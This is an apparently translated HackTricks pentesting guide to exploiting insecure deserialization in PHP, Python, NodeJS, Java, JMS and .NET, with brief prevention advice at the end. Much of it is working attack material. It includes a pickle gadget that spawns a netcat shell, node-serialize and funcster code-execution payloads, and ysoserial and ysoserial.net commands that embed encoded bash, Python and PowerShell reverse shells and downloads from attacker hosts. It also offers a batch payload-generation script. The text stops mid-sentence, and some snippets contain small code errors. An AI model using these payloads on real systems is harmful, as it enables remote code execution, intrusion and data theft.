.. | ||
nodejs-proto-prototype-pollution | ||
basic-.net-deserialization-objectdataprovider-gadgets-expandedwrapper-and-json.net.md | ||
basic-java-deserialization-objectinputstream-readobject.md | ||
exploiting-__viewstate-knowing-the-secret.md | ||
exploiting-__viewstate-parameter.md | ||
java-dns-deserialization-and-gadgetprobe.md | ||
java-jsf-viewstate-.faces-deserialization.md | ||
java-transformers-to-rutime-exec-payload.md | ||
jndi-java-naming-and-directory-interface-and-log4shell.md | ||
php-deserialization-+-autoload-classes.md | ||
python-yaml-deserialization.md | ||
README.md |
反序列化
从零开始学习AWS黑客攻击直到成为英雄 htARTE (HackTricks AWS 红队专家)!
支持HackTricks的其他方式:
- 如果您想在 HackTricks中看到您的公司广告 或 下载HackTricks的PDF,请查看订阅计划!
- 获取 官方PEASS & HackTricks商品
- 发现 PEASS家族,我们独家的NFTs系列
- 加入 💬 Discord群组 或 telegram群组 或在 Twitter 🐦 上 关注 我们 @hacktricks_live。
- 通过向 HackTricks 和 HackTricks Cloud github仓库提交PR来分享您的黑客技巧。**
反序列化 是该过程的逆过程,它将某种格式的结构化数据重建为对象。如今,最流行的序列化数据格式是JSON。在此之前,是XML。
在许多情况下,您可以在服务器端找到一些反序列化用户提供的某些对象的代码。
在这种情况下,您可以发送恶意有效载荷,使服务器端的行为出现意外。
您应该阅读: https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html 了解如何攻击。
PHP
与序列化一起使用的魔术方法:
__sleep
在对象被序列化时调用,必须返回数组
与反序列化一起使用的魔术方法
__wakeup
在对象被反序列化时调用。- 如果存在,
__unserialize
会代替__wakeup
被调用。 __destruct
在PHP脚本结束且对象被销毁时调用。__toString
将对象用作字符串,但也可以用来读取文件或更多,这取决于其中的函数调用。
<?php
class test {
public $s = "This is a test";
public function displaystring(){
echo $this->s.'<br />';
}
public function __toString()
{
echo '__toString method called';
}
public function __construct(){
echo "__construct method called";
}
public function __destruct(){
echo "__destruct method called";
}
public function __wakeup(){
echo "__wakeup method called";
}
public function __sleep(){
echo "__sleep method called";
return array("s"); #The "s" makes references to the public attribute
}
}
$o = new test();
$o->displaystring();
$ser=serialize($o);
echo $ser;
$unser=unserialize($ser);
$unser->displaystring();
/*
php > $o = new test();
__construct method called
__destruct method called
php > $o->displaystring();
This is a test<br />
php > $ser=serialize($o);
__sleep method called
php > echo $ser;
O:4:"test":1:{s:1:"s";s:14:"This is a test";}
php > $unser=unserialize($ser);
__wakeup method called
__destruct method called
php > $unser->displaystring();
This is a test<br />
*/
?>
如果你查看结果,你可以看到当对象被反序列化时,函数 __wakeup
和 __destruct
被调用。请注意,在多个教程中你会发现当尝试打印某个属性时会调用 __toString
函数,但显然这不再发生。
{% hint style="warning" %}
方法 __unserialize(array $data)
会在类中实现时代替 __wakeup()
被调用。它允许你通过提供序列化数据作为数组来反序列化对象。你可以使用这个方法来反序列化属性并在反序列化时执行任何必要的任务。
phpCopy codeclass MyClass {
private $property;
public function __unserialize(array $data): void {
$this->property = $data['property'];
// Perform any necessary tasks upon deserialization.
}
}
{% endhint %}
您可以阅读一个解释性的 PHP 示例:https://www.notsosecure.com/remote-code-execution-via-php-unserialize/,这里 https://www.exploit-db.com/docs/english/44756-deserialization-vulnerability.pdf 或这里 https://securitycafe.ro/2015/01/05/understanding-php-object-injection/
PHP 反序列化 + 自动加载类
您可以滥用 PHP 的自动加载功能来加载任意 PHP 文件等:
{% content-ref url="php-deserialization-+-autoload-classes.md" %} php-deserialization-+-autoload-classes.md {% endcontent-ref %}
序列化引用值
如果出于某种原因您想将一个值序列化为 对另一个已序列化值的引用,您可以:
<?php
class AClass {
public $param1;
public $param2;
}
$o = new WeirdGreeting;
$o->param1 =& $o->param22;
$o->param = "PARAM";
$ser=serialize($o);
PHPGGC (适用于 PHP 的 ysoserial)
PHPGGC 可以帮助您生成用于滥用 PHP 反序列化的有效载荷。
请注意,在许多情况下,您可能无法在应用程序的源代码中找到滥用反序列化的方法,但您可能能够滥用外部 PHP 扩展的代码。
因此,如果可能,请检查服务器的 phpinfo()
并在互联网上(甚至在 PHPGGC 的小工具中)搜索一些可能滥用的小工具。
phar:// 元数据反序列化
如果您发现了一个 LFI,它只是读取文件而不执行其中的 php 代码,例如使用 file_get_contents(), fopen(), file() 或 file_exists(), md5_file(), filemtime() 或 filesize()。 您可以尝试滥用使用 phar 协议读取 文件时发生的反序列化。
有关更多信息,请阅读以下帖子:
{% content-ref url="../file-inclusion/phar-deserialization.md" %} phar-deserialization.md {% endcontent-ref %}
Python
Pickle
当对象被 unpickle 时,函数 __reduce__ 将被执行。
当被利用时,服务器可能会返回错误。
import pickle, os, base64
class P(object):
def __reduce__(self):
return (os.system,("netcat -c '/bin/bash -i' -l -p 1234 ",))
print(base64.b64encode(pickle.dumps(P())))
有关从 pickle 监狱 逃脱的更多信息,请查看:
{% content-ref url="../../generic-methodologies-and-resources/python/bypass-python-sandboxes/" %} bypass-python-sandboxes {% endcontent-ref %}
Yaml 和 jsonpickle
以下页面介绍了如何滥用不安全的 yamls Python 库中的反序列化技术,并以一个可以用于生成 Pickle, PyYAML, jsonpickle 和 ruamel.yaml 的 RCE 反序列化有效载荷的工具结束:
{% content-ref url="python-yaml-deserialization.md" %} python-yaml-deserialization.md {% endcontent-ref %}
类污染 (Python 原型污染)
{% content-ref url="../../generic-methodologies-and-resources/python/class-pollution-pythons-prototype-pollution.md" %} class-pollution-pythons-prototype-pollution.md {% endcontent-ref %}
NodeJS
JS 魔术函数
JS 没有像 PHP 或 Python 那样的"魔术"函数,这些函数仅仅因为创建了一个对象就会被执行。但它有一些函数即使没有直接调用它们也经常使用,例如 toString
, valueOf
, toJSON
。
如果滥用反序列化,你可以篡改这些函数以执行其他代码(可能滥用原型污染),当它们被调用时你可以执行任意代码。
另一种**"魔术"方式调用函数而不直接调用它是通过篡改由异步函数**(promise)返回的对象。因为,如果你将那个返回对象转换成另一个带有名为**"then" 类型为函数的属性的promise**,它将会执行,仅仅因为它被另一个 promise 返回。更多信息请 点击此链接。
// If you can compromise p (returned object) to be a promise
// it will be executed just because it's the return object of an async function:
async function test_resolve() {
const p = new Promise(resolve => {
console.log('hello')
resolve()
})
return p
}
async function test_then() {
const p = new Promise(then => {
console.log('hello')
return 1
})
return p
}
test_ressolve()
test_then()
//For more info: https://blog.huli.tw/2022/07/11/en/googlectf-2022-horkos-writeup/
__proto__
和 prototype
污染
如果你想学习这项技术请查看以下教程:
{% content-ref url="nodejs-proto-prototype-pollution/" %} nodejs-proto-prototype-pollution {% endcontent-ref %}
node-serialize
这个库允许序列化函数。例如:
var y = {
"rce": function(){ require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) })},
}
var serialize = require('node-serialize');
var payload_serialized = serialize.serialize(y);
console.log("Serialized: \n" + payload_serialized);
序列化对象将如下所示:
{"rce":"_$$ND_FUNC$$_function(){ require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) })}"}
您可以在示例中看到,当函数被序列化时,_$$ND_FUNC$$_
标志会被附加到序列化对象上。
在文件 node-serialize/lib/serialize.js
中,您可以找到相同的标志以及代码如何使用它。
正如您在最后一段代码中看到的,如果找到该标志,eval
将被用来反序列化函数,所以基本上 用户输入被用在了 eval
函数内。
然而,仅仅序列化 函数 并不会执行它,因为在我们的例子中,需要代码的某个部分调用 y.rce
,这是极不可能的。
无论如何,您可以通过修改序列化对象,添加一些括号,以便在对象被反序列化时自动执行序列化的函数。
在下一段代码中注意最后的括号,以及 unserialize
函数将如何自动执行代码:
var serialize = require('node-serialize');
var test = {"rce":"_$$ND_FUNC$$_function(){ require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) }); }()"};
serialize.unserialize(test);
如前所述,这个库会获取_$$ND_FUNC$$_
后面的代码,并使用eval
执行它。因此,为了自动执行代码,你可以删除函数创建部分和最后的括号,只执行一个JS单行代码,如下例所示:
var serialize = require('node-serialize');
var test = '{"rce":"_$$ND_FUNC$$_require(\'child_process\').exec(\'ls /\', function(error, stdout, stderr) { console.log(stdout) })"}';
serialize.unserialize(test);
你可以在这里找到更多信息关于如何利用这个漏洞。
funcster
这里有趣的不同之处在于,标准内置对象是无法访问的,因为它们超出了作用域。这意味着我们可以执行我们的代码,但不能调用内置对象的方法。所以如果我们使用console.log()
或require(something)
,Node会返回像"ReferenceError: console is not defined"
这样的异常。
然而,我们可以很容易地重新获得对一切的访问权限,因为我们仍然可以使用类似this.constructor.constructor("console.log(1111)")();
的方法访问全局上下文:
funcster = require("funcster");
//Serialization
var test = funcster.serialize(function() { return "Hello world!" })
console.log(test) // { __js_function: 'function(){return"Hello world!"}' }
//Deserialization with auto-execution
var desertest1 = { __js_function: 'function(){return "Hello world!"}()' }
funcster.deepDeserialize(desertest1)
var desertest2 = { __js_function: 'this.constructor.constructor("console.log(1111)")()' }
funcster.deepDeserialize(desertest2)
var desertest3 = { __js_function: 'this.constructor.constructor("require(\'child_process\').exec(\'ls /\', function(error, stdout, stderr) { console.log(stdout) });")()' }
funcster.deepDeserialize(desertest3)
有关更多信息,请阅读此页面。
serialize-javascript
该包不包含任何反序列化功能,需要您自己实现。他们的示例直接使用了 eval
。这是官方的反序列化示例:
function deserialize(serializedJavascript){
return eval('(' + serializedJavascript + ')');
}
如果这个函数被用来反序列化对象,你可以轻松地利用它:
var serialize = require('serialize-javascript');
//Serialization
var test = serialize(function() { return "Hello world!" });
console.log(test) //function() { return "Hello world!" }
//Deserialization
var test = "function(){ require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) }); }()"
deserialize(test)
Cryo 库
在接下来的页面中,您可以找到有关如何滥用此库执行任意命令的信息:
- https://www.acunetix.com/blog/web-security-zone/deserialization-vulnerabilities-attacking-deserialization-in-js/
- https://hackerone.com/reports/350418
Java - HTTP
Java 中反序列化对象的主要问题是在反序列化期间调用了反序列化回调。这使得攻击者可以利用这些回调,准备一个负载,滥用回调来执行恶意操作。
指纹
白盒
在代码中搜索序列化类和函数。例如,搜索实现了 Serializable
的类,使用了 java.io.ObjectInputStream
__ 或 readObject
__ 或 readUnshare
函数_._
您还应该关注:
- 带有外部用户定义参数的
XMLdecoder
- 带有
fromXML
方法的XStream
(xstream 版本 <= v1.46 对序列化问题易受攻击) - 带有
readObject
的ObjectInputStream
- 使用
readObject
、readObjectNodData
、readResolve
或readExternal
ObjectInputStream.readUnshared
Serializable
黑盒
指纹/魔术字节 java 序列化 对象(来自 ObjectInputStream
):
- 十六进制中的
AC ED 00 05
- Base64 中的
rO0
- HTTP 响应的
Content-type
头设置为application/x-java-serialized-object
- 先前压缩的十六进制
1F 8B 08 00
- 先前压缩的 Base64
H4sIA
- 带有扩展名
.faces
和参数faces.ViewState
的 Web 文件。如果您在 webapp 中找到这个,请查看关于 Java JSF VewState 反序列化的帖子。
javax.faces.ViewState=rO0ABXVyABNbTGphdmEubGFuZy5PYmplY3Q7kM5YnxBzKWwCAAB4cAAAAAJwdAAML2xvZ2luLnhodG1s
检查是否存在漏洞
如果您想了解Java反序列化漏洞是如何工作的,您应该查看基础Java反序列化、Java DNS反序列化以及CommonsCollection1 Payload。
白盒测试
您可以检查是否安装了任何已知存在漏洞的应用程序。
find . -iname "*commons*collection*"
grep -R InvokeTransformer .
你可以尝试检查所有已知存在漏洞的库,以及Ysoserial能够提供漏洞利用的库。或者你可以检查在Java-Deserialization-Cheat-Sheet上指出的库。 你还可以使用gadgetinspector来搜索可能的可利用的gadget链。 当运行gadgetinspector(构建后)时,不用担心它产生的大量警告/错误,让它运行完毕。它会将所有发现写入_gadgetinspector/gadget-results/gadget-chains-year-month-day-hour-min.txt_。请注意,gadgetinspector不会创建漏洞利用代码,它可能会指示出假阳性。
黑盒测试
使用Burp扩展gadgetprobe,你可以识别哪些库是可用的(甚至是版本)。有了这些信息,选择用于利用漏洞的payload可能会更容易。
阅读这里了解更多关于GadgetProbe的信息。
GadgetProbe专注于**ObjectInputStream
的反序列化。**
使用Burp扩展Java Deserialization Scanner,你可以识别易受攻击的库,这些库可以用ysoserial来利用。
阅读这里了解更多关于Java Deserialization Scanner的信息。
Java Deserialization Scanner专注于**ObjectInputStream
**的反序列化。
你也可以使用Freddy来检测Burp中的反序列化漏洞。这个插件不仅会检测与**ObjectInputStream
相关的漏洞,还会检测来自Json和Yml**反序列化库的漏洞。在主动模式下,它会尝试使用sleep或DNS payload来确认漏洞。
你可以在这里找到更多关于Freddy的信息。
序列化测试
并不是所有的检查都是关于服务器是否使用了任何存在漏洞的库。有时候,你可能能够改变序列化对象内的数据并绕过一些检查(可能在web应用中授予你管理员权限)。 如果你发现一个Java序列化对象被发送到一个web应用,你可以使用SerializationDumper来以更易读的格式打印发送的序列化对象。知道你发送的数据会更容易修改它并绕过一些检查。
利用
ysoserial
最著名的用于利用Java反序列化的工具是ysoserial(在这里下载)。你也可以考虑使用ysoserial-modified,它允许你使用复杂的命令(例如带管道的命令)。
注意,这个工具专注于利用**ObjectInputStream
。
我会建议先使用"URLDNS"** payload在RCE payload之前测试注入是否可能。无论如何,请注意,可能"URLDNS" payload不起作用,但其他RCE payload可能有效。
# PoC to make the application perform a DNS req
java -jar ysoserial-master-SNAPSHOT.jar URLDNS http://b7j40108s43ysmdpplgd3b7rdij87x.burpcollaborator.net > payload
# PoC RCE in Windows
# Ping
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections5 'cmd /c ping -n 5 127.0.0.1' > payload
# Time, I noticed the response too longer when this was used
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "cmd /c timeout 5" > payload
# Create File
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "cmd /c echo pwned> C:\\\\Users\\\\username\\\\pwn" > payload
# DNS request
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "cmd /c nslookup jvikwa34jwgftvoxdz16jhpufllb90.burpcollaborator.net"
# HTTP request (+DNS)
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "cmd /c certutil -urlcache -split -f http://j4ops7g6mi9w30verckjrk26txzqnf.burpcollaborator.net/a a"
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "powershell.exe -NonI -W Hidden -NoP -Exec Bypass -Enc SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4AZABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwADoALwAvADEAYwBlADcAMABwAG8AbwB1ADAAaABlAGIAaQAzAHcAegB1AHMAMQB6ADIAYQBvADEAZgA3ADkAdgB5AC4AYgB1AHIAcABjAG8AbABsAGEAYgBvAHIAYQB0AG8AcgAuAG4AZQB0AC8AYQAnACkA"
## In the ast http request was encoded: IEX(New-Object Net.WebClient).downloadString('http://1ce70poou0hebi3wzus1z2ao1f79vy.burpcollaborator.net/a')
## To encode something in Base64 for Windows PS from linux you can use: echo -n "<PAYLOAD>" | iconv --to-code UTF-16LE | base64 -w0
# Reverse Shell
## Encoded: IEX(New-Object Net.WebClient).downloadString('http://192.168.1.4:8989/powercat.ps1')
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "powershell.exe -NonI -W Hidden -NoP -Exec Bypass -Enc SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4AZABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwADoALwAvADEAOQAyAC4AMQA2ADgALgAxAC4ANAA6ADgAOQA4ADkALwBwAG8AdwBlAHIAYwBhAHQALgBwAHMAMQAnACkA"
#PoC RCE in Linux
# Ping
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "ping -c 5 192.168.1.4" > payload
# Time
## Using time in bash I didn't notice any difference in the timing of the response
# Create file
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "touch /tmp/pwn" > payload
# DNS request
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "dig ftcwoztjxibkocen6mkck0ehs8yymn.burpcollaborator.net"
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "nslookup ftcwoztjxibkocen6mkck0ehs8yymn.burpcollaborator.net"
# HTTP request (+DNS)
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "curl ftcwoztjxibkocen6mkck0ehs8yymn.burpcollaborator.net" > payload
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "wget ftcwoztjxibkocen6mkck0ehs8yymn.burpcollaborator.net"
# Reverse shell
## Encoded: bash -i >& /dev/tcp/127.0.0.1/4444 0>&1
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjcuMC4wLjEvNDQ0NCAwPiYx}|{base64,-d}|{bash,-i}" | base64 -w0
## Encoded: export RHOST="127.0.0.1";export RPORT=12345;python -c 'import sys,socket,os,pty;s=socket.socket();s.connect((os.getenv("RHOST"),int(os.getenv("RPORT"))));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("/bin/sh")'
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "bash -c {echo,ZXhwb3J0IFJIT1NUPSIxMjcuMC4wLjEiO2V4cG9ydCBSUE9SVD0xMjM0NTtweXRob24gLWMgJ2ltcG9ydCBzeXMsc29ja2V0LG9zLHB0eTtzPXNvY2tldC5zb2NrZXQoKTtzLmNvbm5lY3QoKG9zLmdldGVudigiUkhPU1QiKSxpbnQob3MuZ2V0ZW52KCJSUE9SVCIpKSkpO1tvcy5kdXAyKHMuZmlsZW5vKCksZmQpIGZvciBmZCBpbiAoMCwxLDIpXTtwdHkuc3Bhd24oIi9iaW4vc2giKSc=}|{base64,-d}|{bash,-i}"
# Base64 encode payload in base64
base64 -w0 payload
在为 java.lang.Runtime.exec() 创建有效载荷时,您不能使用特殊字符,如 ">" 或 "|" 来重定向执行的输出,"$()" 来执行命令,甚至传递参数给命令,参数之间由空格分隔(您可以执行 echo -n "hello world"
但不能执行 python2 -c 'print "Hello world"'
)。为了正确编码有效载荷,您可以使用这个网页。
随意使用以下脚本来创建适用于 Windows 和 Linux 的所有可能的代码执行有效载荷,然后在易受攻击的网页上测试它们:
import os
import base64
# You may need to update the payloads
payloads = ['BeanShell1', 'Clojure', 'CommonsBeanutils1', 'CommonsCollections1', 'CommonsCollections2', 'CommonsCollections3', 'CommonsCollections4', 'CommonsCollections5', 'CommonsCollections6', 'CommonsCollections7', 'Groovy1', 'Hibernate1', 'Hibernate2', 'JBossInterceptors1', 'JRMPClient', 'JSON1', 'JavassistWeld1', 'Jdk7u21', 'MozillaRhino1', 'MozillaRhino2', 'Myfaces1', 'Myfaces2', 'ROME', 'Spring1', 'Spring2', 'Vaadin1', 'Wicket1']
def generate(name, cmd):
for payload in payloads:
final = cmd.replace('REPLACE', payload)
print 'Generating ' + payload + ' for ' + name + '...'
command = os.popen('java -jar ysoserial.jar ' + payload + ' "' + final + '"')
result = command.read()
command.close()
encoded = base64.b64encode(result)
if encoded != "":
open(name + '_intruder.txt', 'a').write(encoded + '\n')
generate('Windows', 'ping -n 1 win.REPLACE.server.local')
generate('Linux', 'ping -c 1 nix.REPLACE.server.local')
serialkillerbypassgadgets
您可以使用 https://github.com/pwntester/SerialKillerBypassGadgetCollection 结合ysoserial来创建更多的漏洞利用工具。有关此工具的更多信息,请参阅工具介绍时的演讲幻灯片:https://es.slideshare.net/codewhitesec/java-deserialization-vulnerabilities-the-forgotten-bug-class?next_slideshow=1
marshalsec
marshalsec 可用于生成有效载荷,以利用Java中不同的Json和Yml序列化库。
为了编译项目,我需要向pom.xml
中添加这些依赖项:
<dependency>
<groupId>javax.activation</groupId>
<artifactId>activation</artifactId>
<version>1.1.1</version>
</dependency>
<dependency>
<groupId>com.sun.jndi</groupId>
<artifactId>rmiregistry</artifactId>
<version>1.2.1</version>
<type>pom</type>
</dependency>
安装 maven,并编译项目:
sudo apt-get install maven
mvn clean package -DskipTests
FastJSON
阅读更多关于这个Java JSON库的信息:https://www.alphabot.com/security/blog/2020/java/Fastjson-exceptional-deserialization-vulnerabilities.html
实验室
- 如果你想测试一些ysoserial payloads,你可以运行这个webapp:https://github.com/hvqzao/java-deserialize-webapp
- https://diablohorn.com/2017/09/09/understanding-practicing-java-deserialization-exploits/
为什么
Java喜欢到处发送序列化对象。例如:
- 在HTTP请求中 – 参数、ViewState、Cookies,应有尽有。
- RMI – 广泛使用的Java RMI协议完全基于序列化
- 通过HTTP的RMI – 许多Java厚客户端web应用使用这个 – 再次是100%序列化对象
- JMX – 同样,依赖于通过网络发送的序列化对象
- 自定义协议 – 发送和接收原始Java对象是常态 – 我们将在一些即将到来的漏洞中看到
预防
瞬态对象
实现了Serializable
的类可以将类内部不应该被序列化的任何对象实现为transient
。例如:
public class myAccount implements Serializable
{
private transient double profit; // declared transient
private transient double margin; // declared transient
避免序列化需要实现 Serializable 的类
由于继承关系,您的应用程序对象可能被迫实现 Serializable
。为了确保您的应用程序对象不能被反序列化,应该声明一个 readObject()
方法(带有 final
修饰符),该方法始终抛出异常:
private final void readObject(ObjectInputStream in) throws java.io.IOException {
throw new java.io.IOException("Cannot be deserialized");
}
在反序列化前检查反序列化的类
java.io.ObjectInputStream
类用于反序列化对象。通过继承这个类可以加强其行为。如果以下情况适用,这是最佳解决方案:
- 您可以更改执行反序列化的代码
- 您知道您期望反序列化哪些类
一般的想法是覆盖 ObjectInputStream.html#resolveClass()
方法,以限制允许反序列化的类。
因为这个调用发生在 readObject()
被调用之前,您可以确信,除非类型是您希望允许的类型,否则不会发生任何反序列化活动。
这里展示了一个简单的例子,其中 LookAheadObjectInputStream
类保证不反序列化任何类型,除了 Bicycle
类:
public class LookAheadObjectInputStream extends ObjectInputStream {
public LookAheadObjectInputStream(InputStream inputStream) throws IOException {
super(inputStream);
}
/**
* Only deserialize instances of our expected Bicycle class
*/
@Override
protected Class<?> resolveClass(ObjectStreamClass desc) throws IOException, ClassNotFoundException {
if (!desc.getName().equals(Bicycle.class.getName())) {
throw new InvalidClassException("Unauthorized deserialization attempt", desc.getName());
}
return super.resolveClass(desc);
}
}
使用代理加固所有 java.io.ObjectInputStream 的使用
如果您不拥有代码或不能等待补丁,使用代理来加固 java.io.ObjectInputStream
是最佳解决方案。
采用这种方法,您只能将已知的恶意类型列入黑名单,而不能将它们列入白名单,因为您不知道哪些对象正在被序列化。
要启用这些代理,只需添加一个新的 JVM 参数:
-javaagent:name-of-agent.jar
参考资料
- 反序列化和ysoserial讲座:http://frohoff.github.io/appseccali-marshalling-pickles/
- https://foxglovesecurity.com/2015/11/06/what-do-weblogic-websphere-jboss-jenkins-opennms-and-your-application-have-in-common-this-vulnerability/
- https://www.youtube.com/watch?v=VviY3O-euVQ
- 关于gadgetinspector的讲座:https://www.youtube.com/watch?v=wPbW6zQ52w8 和幻灯片:https://i.blackhat.com/us-18/Thu-August-9/us-18-Haken-Automated-Discovery-of-Deserialization-Gadget-Chains.pdf
- Marshalsec论文:https://www.github.com/mbechler/marshalsec/blob/master/marshalsec.pdf?raw=true
- https://dzone.com/articles/why-runtime-compartmentalization-is-the-most-compr
- https://deadcode.me/blog/2016/09/02/Blind-Java-Deserialization-Commons-Gadgets.html
- https://deadcode.me/blog/2016/09/18/Blind-Java-Deserialization-Part-II.html
- Java和.Net JSON反序列化论文:https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf**,**讲座:https://www.youtube.com/watch?v=oUAeWhW5b8c 和幻灯片:https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf
- 反序列化CVEs:https://paper.seebug.org/123/
JNDI Injection & log4Shell
在以下页面中找到JNDI Injection是什么,如何通过RMI、CORBA和LDAP滥用它,以及如何利用log4shell(以及此漏洞的示例):
{% content-ref url="jndi-java-naming-and-directory-interface-and-log4shell.md" %} jndi-java-naming-and-directory-interface-and-log4shell.md {% endcontent-ref %}
JMS - Java消息服务
Java消息服务(JMS)API是一个用于在两个或多个客户端之间发送消息的Java面向消息的中间件API。它是处理生产者-消费者问题的一个实现。JMS是Java平台企业版(Java EE)的一部分,并由Sun Microsystems开发的规范定义,但此后一直由Java社区过程指导。它是一个允许基于Java EE的应用程序组件创建、发送、接收和读取消息的消息标准。它允许分布式应用程序的不同组件之间的通信是松散耦合的、可靠的和异步的。(来自Wikipedia)。
产品
有几种产品使用这种中间件发送消息:
利用
所以,基本上有一堆服务以危险的方式使用JMS。因此,如果你有足够的权限向这些服务发送消息(通常你需要有效的凭据),你可以发送被消费者/订阅者反序列化的恶意对象序列化。
这意味着在这种利用中,所有将要使用该消息的客户端都将被感染。
你应该记住,即使一个服务是脆弱的(因为它不安全地反序列化用户输入),你仍然需要找到有效的小工具来利用这个漏洞。
工具JMET被创建来连接并攻击这些服务,发送使用已知小工具序列化的多个恶意对象。如果服务仍然脆弱,并且任何使用的小工具都在脆弱的应用程序中,这些漏洞将起作用。
参考资料
- JMET讲座:https://www.youtube.com/watch?v=0h8DWiOWGGA
- 幻灯片:https://www.blackhat.com/docs/us-16/materials/us-16-Kaiser-Pwning-Your-Java-Messaging-With-Deserialization-Vulnerabilities.pdf
.Net
.Net在反序列化漏洞的工作方式上与Java类似:漏洞将滥用小工具,这些小工具在对象被反序列化时执行一些有趣的代码。
指纹
WhiteBox
搜索源代码中的以下术语:
TypeNameHandling
JavaScriptTypeResolver
寻找任何由用户控制的变量设置类型的序列化器。
BlackBox
你可以搜索Base64编码的字符串AAEAAAD/////或任何其他可能在后端被反序列化的东西,允许你控制反序列化类型**。例如,包含TypeObject
或$type
的JSON或XML**。
ysoserial.net
在这种情况下,你可以使用工具ysoserial.net来创建反序列化漏洞。下载git仓库后,你应该使用Visual Studio等工具编译该工具。
如果你想了解ysoserial.net是如何创建它的漏洞,你可以查看这个页面,其中解释了ObjectDataProvider小工具+ExpandedWrapper+Json.Net格式化器。
ysoserial.net的主要选项是:--gadget
,--formatter
,--output
和 --plugin
。
--gadget
用于指示要滥用的小工具(指示在反序列化期间将被滥用以执行命令的类/函数)。--formatter
,用于指示序列化漏洞的方法(你需要知道后端使用哪个库来反序列化有效载荷,并使用相同的方法来序列化它)--output
用于指示你是否希望以原始或base64编码的形式获取漏洞。注意ysoserial.net将使用UTF-16LE(Windows默认使用的编码)对有效载荷进行编码,所以如果你获取原始数据并仅从Linux控制台对其进行编码,你可能会遇到一些编码兼容性问题,这将阻止漏洞正常工作(在HTB JSON盒子中,有效载荷在UTF-16LE和ASCII中都有效,但这并不意味着它总是有效)。--plugin
ysoserial.net支持插件来制作特定框架的漏洞,如ViewState
更多ysoserial.net参数
--minify
将提供一个更小的有效载荷(如果可能)--raf -f Json.Net -c "anything"
这将指示所有可以与提供的格式化器一起使用的小工具(在这种情况下为Json.Net
)--sf xml
你可以指示一个小工具(-g
),ysoserial.net将搜索包含"xml"的格式化器(不区分大小写)
ysoserial示例来创建漏洞:
#Send ping
ysoserial.exe -g ObjectDataProvider -f Json.Net -c "ping -n 5 10.10.14.44" -o base64
#Timing
#I tried using ping and timeout but there wasn't any difference in the response timing from the web server
#DNS/HTTP request
ysoserial.exe -g ObjectDataProvider -f Json.Net -c "nslookup sb7jkgm6onw1ymw0867mzm2r0i68ux.burpcollaborator.net" -o base64
ysoserial.exe -g ObjectDataProvider -f Json.Net -c "certutil -urlcache -split -f http://rfaqfsze4tl7hhkt5jtp53a1fsli97.burpcollaborator.net/a a" -o base64
#Reverse shell
#Create shell command in linux
echo -n "IEX(New-Object Net.WebClient).downloadString('http://10.10.14.44/shell.ps1')" | iconv -t UTF-16LE | base64 -w0
#Create exploit using the created B64 shellcode
ysoserial.exe -g ObjectDataProvider -f Json.Net -c "powershell -EncodedCommand SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4AZABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwADoALwAvADEAMAAuADEAMAAuADEANAAuADQANAAvAHMAaABlAGwAbAAuAHAAcwAxACcAKQA=" -o base64
ysoserial.net 还有一个非常有趣的参数,有助于更好地理解每个漏洞的工作原理:--test
如果你指定了这个参数,ysoserial.net 将尝试在本地执行漏洞,因此你可以测试你的有效载荷是否能正确工作。
这个参数很有用,因为如果你审查代码,你会发现像下面这样的代码块(来自 ObjectDataProviderGenerator.cs):
if (inputArgs.Test)
{
try
{
SerializersHelper.JsonNet_deserialize(payload);
}
catch (Exception err)
{
Debugging.ShowErrors(inputArgs, err);
}
}
这意味着为了测试漏洞,代码将调用 [serializersHelper.JsonNet\_deserialize](https://github.com/pwntester/ysoserial.net/blob/c53bd83a45fb17eae60ecc82f7147b5c04b07e42/ysoserial/Helpers/SerializersHelper.cs#L539)
public static object JsonNet_deserialize(string str)
{
Object obj = JsonConvert.DeserializeObject<Object>(str, new JsonSerializerSettings
{
TypeNameHandling = TypeNameHandling.Auto
});
return obj;
}
在之前的代码中容易受到创建的漏洞的攻击。所以,如果你在 .Net 应用程序中发现了类似的情况,这意味着那个应用程序可能也容易受到攻击。
因此,--test
参数允许我们理解哪些代码块容易受到 ysoserial.net 可以创建的反序列化漏洞的攻击。
ViewState
看看这篇关于如何尝试利用 .Net 的 __ViewState 参数来执行任意代码的文章。如果你已经知道受害机器使用的秘密,阅读这篇文章了解如何执行代码。
预防
不要允许数据流定义将要反序列化到的对象类型。例如,你可以通过使用 DataContractSerializer
或 XmlSerializer
来预防这种情况,如果可能的话。
在使用 JSON.Net
时,确保 TypeNameHandling
